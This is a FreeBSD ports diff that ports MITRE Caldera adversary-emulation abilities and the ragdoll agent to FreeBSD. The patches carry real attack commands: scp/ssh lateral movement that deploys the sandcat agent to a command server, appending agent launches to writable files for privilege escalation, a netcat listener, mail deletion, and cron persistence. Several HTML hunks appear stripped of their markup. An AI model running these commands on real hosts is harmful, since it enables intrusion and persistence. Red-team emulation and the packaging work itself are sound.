b/security/caldera4/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/impact/55f9600a-756f-496b-b27f-682052dc429c.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/55f9600a-756f-496b-b27f-682052dc429c.yml +@@ -7,7 +7,7 @@ + command: ./mission.go -duration 60 -extension .caldera -dir '/' + payloads: + - mission.go +- linux: ++ freebsd,linux: + sh: + command: ./mission.go -duration 60 -extension .caldera -dir '/' + payloads: diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml new file mode 100644 index 000000000000..1016cc6fb5c5 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml @@ -0,0 +1,16 @@ +--- plugins/stockpile/data/abilities/lateral-movement/10a9d979-e342-418a-a9b0-002c483e0fa6.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/lateral-movement/10a9d979-e342-418a-a9b0-002c483e0fa6.yml +@@ -24,4 +24,13 @@ + ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go' + payloads: + - sandcat.go-linux ++ freebsd: ++ sh: ++ command: | ++ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-freebsd #{remote.ssh.cmd}:~/sandcat.go && ++ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &' ++ cleanup: | ++ ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'pkill -f sandcat & rm -f ~/sandcat.go' ++ payloads: ++ - sandcat.go-freebsd + singleton: True diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml new file mode 100644 index 000000000000..a396438d78ed --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_lateral-movement_4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml @@ -0,0 +1,15 @@ +--- plugins/stockpile/data/abilities/lateral-movement/4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/lateral-movement/4908fdc4-74fc-4d7c-8935-26d11ad26a8d.yml +@@ -54,4 +54,12 @@ + ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'rm -f sandcat.go' + payloads: + - sandcat.go-linux ++ freebsd: ++ sh: ++ command: | ++ scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-freebsd #{remote.ssh.cmd}:~/sandcat.go ++ cleanup: | ++ ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no #{remote.ssh.cmd} 'rm -f sandcat.go' ++ payloads: ++ - sandcat.go-freebsd + singleton: True diff --git a/security/caldera4/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml b/security/caldera4/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml new file mode 100644 index 000000000000..85d98fa7d6c4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_data_abilities_privilege-escalation_10681f2f-be03-44af-858d-f2b0812df185.yml @@ -0,0 +1,12 @@ +--- plugins/stockpile/data/abilities/privilege-escalation/10681f2f-be03-44af-858d-f2b0812df185.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/privilege-escalation/10681f2f-be03-44af-858d-f2b0812df185.yml +@@ -18,3 +18,9 @@ + find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF "54NDC47_SCRIPT" "{}" || echo "#54NDC47_SCRIPT\n" "chmod +x sandcat.go-linux && sandcat.go-linux" >> "{}"; ls "{}" ' \; | echo "complete" + payloads: + - sandcat.go ++ freebsd: ++ sh: ++ command: | ++ find / -type f -size -500k -maxdepth 5 -perm -333 2>/dev/null -exec sh -c 'grep -qF "54NDC47_SCRIPT" "{}" || echo "#54NDC47_SCRIPT\n" "chmod +x sandcat.go-freebsd && sandcat.go-freebsd" >> "{}"; ls "{}" ' \; | echo "complete" ++ payloads: ++ - sandcat.go diff --git a/security/caldera4/files/patch-plugins_stockpile_payloads_ragdoll.py b/security/caldera4/files/patch-plugins_stockpile_payloads_ragdoll.py new file mode 100644 index 000000000000..13f037f6db8b --- /dev/null +++ b/security/caldera4/files/patch-plugins_stockpile_payloads_ragdoll.py @@ -0,0 +1,11 @@ +--- plugins/stockpile/payloads/ragdoll.py.orig 2023-05-16 23:53:18 UTC ++++ plugins/stockpile/payloads/ragdoll.py +@@ -63,7 +63,7 @@ class OperationLoop: + def _execute_instruction(self, i): + print('[+] Running instruction: %s' % i['id']) + cmd = self._decode_bytes(i['command']) +- execution_timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') ++ execution_timestamp = datetime.datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ') + try: + output = subprocess.check_output(cmd, shell=True, timeout=i['timeout']) + except subprocess.CalledProcessError as e: diff --git a/security/caldera4/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml b/security/caldera4/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml new file mode 100644 index 000000000000..6ff46df63b9c --- /dev/null +++ b/security/caldera4/files/patch-plugins_training_data_abilities_training_18702cd3-8e98-4eb7-99d4-0d2816926af1.yml @@ -0,0 +1,11 @@ +--- plugins/training/data/abilities/training/18702cd3-8e98-4eb7-99d4-0d2816926af1.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/18702cd3-8e98-4eb7-99d4-0d2816926af1.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + touch ~/.bashrc; diff --git a/security/caldera4/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml b/security/caldera4/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml new file mode 100644 index 000000000000..48a3bc429da0 --- /dev/null +++ b/security/caldera4/files/patch-plugins_training_data_abilities_training_6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml @@ -0,0 +1,17 @@ +--- plugins/training/data/abilities/training/6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/6d53c4a8-ecd3-4131-a7a2-704a5b43dd83.yml +@@ -7,11 +7,11 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + nc -nlv 7011 & + darwin: + sh: + command: | +- nc -nlv 7011 & +\ No newline at end of file ++ nc -nlv 7011 & diff --git a/security/caldera4/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml b/security/caldera4/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml new file mode 100644 index 000000000000..9213235c7428 --- /dev/null +++ b/security/caldera4/files/patch-plugins_training_data_abilities_training_e13c4e45-d19f-440e-8a72-fad728a1789c.yml @@ -0,0 +1,13 @@ +--- plugins/training/data/abilities/training/e13c4e45-d19f-440e-8a72-fad728a1789c.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/e13c4e45-d19f-440e-8a72-fad728a1789c.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | +- rm -f /var/mail/victim +\ No newline at end of file ++ rm -f /var/mail/victim diff --git a/security/caldera4/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml b/security/caldera4/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml new file mode 100644 index 000000000000..3861a5c894b6 --- /dev/null +++ b/security/caldera4/files/patch-plugins_training_data_abilities_training_f0d77555-fa79-4884-8afd-73d39f887879.yml @@ -0,0 +1,15 @@ +--- plugins/training/data/abilities/training/f0d77555-fa79-4884-8afd-73d39f887879.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/f0d77555-fa79-4884-8afd-73d39f887879.yml +@@ -7,9 +7,9 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mv ./phish_email.txt /var/mail/victim + payloads: +- - phish_email.txt +\ No newline at end of file ++ - phish_email.txt diff --git a/security/caldera4/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml b/security/caldera4/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml new file mode 100644 index 000000000000..114e8f3ba003 --- /dev/null +++ b/security/caldera4/files/patch-plugins_training_data_abilities_training_fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml @@ -0,0 +1,18 @@ +--- plugins/training/data/abilities/training/fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml.orig 2022-08-08 23:35:27 UTC ++++ plugins/training/data/abilities/training/fc4715ac-758e-4ba9-9e52-d07ff3d22a74.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -l > new_crontab; +@@ -26,4 +26,4 @@ + command: | + $action = New-ScheduledTaskAction -Execute "calc.exe"; + $trigger = New-ScheduledTaskTrigger -Daily -At 9am; +- Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "FindMe" -Description "Pretend malicious scheduled action"; +\ No newline at end of file ++ Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "FindMe" -Description "Pretend malicious scheduled action"; diff --git a/security/caldera4/files/patch-templates_abilities.html b/security/caldera4/files/patch-templates_abilities.html new file mode 100644 index 000000000000..1a74bbb85a5a --- /dev/null +++ b/security/caldera4/files/patch-templates_abilities.html @@ -0,0 +1,11 @@ +--- templates/abilities.html.orig 2022-09-17 15:28:09 UTC ++++ templates/abilities.html +@@ -103,7 +103,7 @@ +

+ +

diff --git a/security/caldera4/files/patch-templates_adversaries.html b/security/caldera4/files/patch-templates_adversaries.html new file mode 100644 index 000000000000..4ca0e76f1816 --- /dev/null +++ b/security/caldera4/files/patch-templates_adversaries.html @@ -0,0 +1,20 @@ +--- templates/adversaries.html.orig 2022-09-17 15:28:09 UTC ++++ templates/adversaries.html +@@ -143,7 +143,7 @@ + + + +@@ -262,7 +262,7 @@ + | + | + | + + diff --git a/security/caldera4/files/patch-templates_agents.html b/security/caldera4/files/patch-templates_agents.html new file mode 100644 index 000000000000..82828a0e9756 --- /dev/null +++ b/security/caldera4/files/patch-templates_agents.html @@ -0,0 +1,32 @@ +--- templates/agents.html.orig 2022-09-17 15:28:09 UTC ++++ templates/agents.html +@@ -143,6 +143,11 @@ + +
darwin + ++
++ ++
freebsd ++
++ + + + +@@ -174,7 +179,7 @@ +
+ + +- ++ + + + +@@ -193,7 +198,7 @@ +
+ + +- ++ + + + diff --git a/security/caldera4/files/pkg-message.in b/security/caldera4/files/pkg-message.in new file mode 100644 index 000000000000..abdaa73e63fe --- /dev/null +++ b/security/caldera4/files/pkg-message.in @@ -0,0 +1,75 @@ +[ +{ type: install + message: <